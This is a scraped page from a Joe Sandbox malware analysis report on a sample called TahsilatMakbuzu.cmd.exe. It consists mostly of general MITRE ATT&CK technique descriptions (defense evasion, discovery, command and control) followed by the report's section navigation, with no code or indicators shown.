Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report TahsilatMakbuzu.cmd.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Analysis Process: TahsilatMakbuzu.cmd.exePID: 6640, Parent PID: 4004

Windows Analysis Report
TahsilatMakbuzu.cmd.exe